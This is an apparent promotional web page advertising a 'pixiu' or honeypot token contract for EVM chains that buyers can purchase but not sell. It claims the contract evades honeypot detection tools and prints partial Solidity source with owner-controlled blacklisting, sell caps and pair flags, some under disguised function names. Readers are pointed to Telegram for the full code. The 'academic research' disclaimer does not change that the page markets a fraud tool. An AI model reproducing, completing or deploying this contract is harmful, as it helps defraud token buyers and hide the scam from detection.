Honeypot contract: Tokens that cannot be sold, publish the contract source code
Communication and sharing.https://t.me/bit369com01
Disclaimer:
The source code of this honeypot contract is published for the purpose of enhancing security awareness, limited to academic research, and the team will not be responsible for the loss of money caused by intentional use of others.
What is a pixiu or honeypot contract?
The so-called brave pan or honey pot contract is actually a special token contract, which can only be bought and cannot be sold through technical means. Some advanced contracts can even circumvent the detection, today let Xiaobian uncover the mystery of the Pixiu pan for you.
Brave disc to achieve ideas
The common realization idea on the market is to directly add logic to the 'transfer' method, but this old-fashioned method has long been recognized by the honeypot detection robot, and after hard research by the team, the honeypot contract that bypasses all detection means is finally realized. Suitable for eth, bsc, arb and all EVM-supporting chains. The latest implementation uses the underlying evm virtual machine technology to fundamentally bypass detection, and the specific implementation method can be linked to the telegram at the beginning and end of the article.
Source code research
pragma solidity ^0.8.16;
contract Token is ERC20, Ownable {
IUniswapV2Router02 private constant ROUTER = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address private constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
mapping(address => bool) public isPair;
mapping(address => bool) public isWhitelisted;
mapping(address => bool) public isBlackListed;
mapping(address => uint256) public totalSold;
bool public isSellOpen;
bool public isBuyOpen;
bool public isTransferNotLocked;
bool private _paused;
uint256 private liqAddedTime;
uint256 private constant sellBlockTime = 5 minutes;
uint256 public sellableAmount;
modifier whenNotPaused() {
if (msg.sender != owner()) {
require(!_paused, "Pausable: Paused");
}
_;
}
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 8000000 * (10**uint256(decimals())));
address pairBNB = IUniswapV2Factory(ROUTER.factory()).createPair(address(this), ROUTER.WETH());
address pairBUSD = IUniswapV2Factory(ROUTER.factory()).createPair(address(this), BUSD);
isPair[pairBNB] = true;
isPair[pairBUSD] = true;
isWhitelisted[msg.sender] = true;
isBuyOpen = true;
isTransferNotLocked = true;
sellableAmount = (totalSupply() * 1) / 1000;
}
function svart(address[] memory users, bool value) external onlyOwner {
uint256 len = users.length;
for (uint256 i; i < len; i++) {
isBlackListed[users[i]] = value;
}
}
function belopp(uint256 value) external onlyOwner {
sellableAmount = value;
}
function setPair(address pair, bool status) external onlyOwner {
isPair[pair] = status;
}
Only part of the source code is shown here, and interested friends can request all the source code by telegram.
How to pass the test?
No matter what kind of tests can pass, such as ave, dividend check and so on.

Copyright © 2023 Powered by Bit369.com, Theme used GitHub CSS.
